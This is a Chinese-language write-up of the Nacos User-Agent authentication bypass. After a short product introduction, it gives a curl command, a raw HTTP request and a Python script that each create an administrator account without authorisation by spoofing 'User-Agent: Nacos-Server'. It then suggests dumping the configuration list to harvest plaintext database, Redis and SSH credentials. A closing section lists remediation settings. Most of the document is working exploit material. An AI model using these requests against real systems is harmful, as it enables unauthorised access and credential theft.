一:什么是nacos
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。
服务(Service)是 Nacos 世界的一等公民。Nacos 支持几乎所有主流类型的“服务”的发现、配置和管理:
Kubernetes Service
gRPC & Dubbo RPC Service
Spring Cloud RESTful Service
更多可见 什么是 Nacos
漏洞概述
参考:
threedr3am发现的漏洞 https://github.com/alibaba/nacos/issues/4593
关于Nacos身份验证漏洞修复建议
Nacos官方仓库的issue中披露了Nacos存在一个由于不当处理User-Agent导致的鉴权绕过漏洞。
影响版本
Nacos <= 2.0.0-ALPHA.1(经测试2.1.0也是存在漏洞的)
漏洞复现
使用测试地址,正常访问它,后台页面如下:
假如访问地址显示404,那么只需要在域名后面添加nacos目录即可访问后台。
可以通过以下方式直接未授权添加nacos的管理员权限账号。
1、curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'
2、使用burpsuite构造好请求包,构造的时候需要填好host和端口即可,然后进行repeater,如果返回包显示{"code":200,"message":null,"data":"create user ok!"}就说明添加账号成功。
POST /nacos/v1/auth/users HTTP/1.1
Host:xxxxx(自己填好目标)
User-Agent: Nacos-Server
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 29
username=test1&password=test1
3、使用python脚本进行添加。
def test_nacos():
'''测试nacos漏洞'''
url = 'https://xxxx/nacos/v1/auth/users?username=test&password=test'
headers = {
'Host': 'xxxxx',
'User-Agent': 'Nacos-Server',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close'
}
res = requests.post(url, headers=headers, verify=False)
print(res.text)
漏洞利用
添加好账号密码之后,可使用这个账号登录到nacos后台,将其后台的【配置列表】信息dump出来进行进一步的利用。
注明:nacos是配置系统,类似于apollo一样,所以生产环境的话会存在很多明文配置好的账号,一般会有redis、mysql、ssh、web等账号。
2、漏洞修复
1、更新nacos到最新版本
2、在conf/application.properties
配置中开启鉴权,启用新机制去避免被非法访问
# 开启鉴权
nacos.core.auth.enabled=true
# 关闭白名单功能
nacos.core.auth.enable.userAgentAuthWhite=false.
# 配置键值对 [键值对可以自定义]
nacos.core.auth.server.identity.key=aaa
nacos.core.auth.server.identity.value=bbb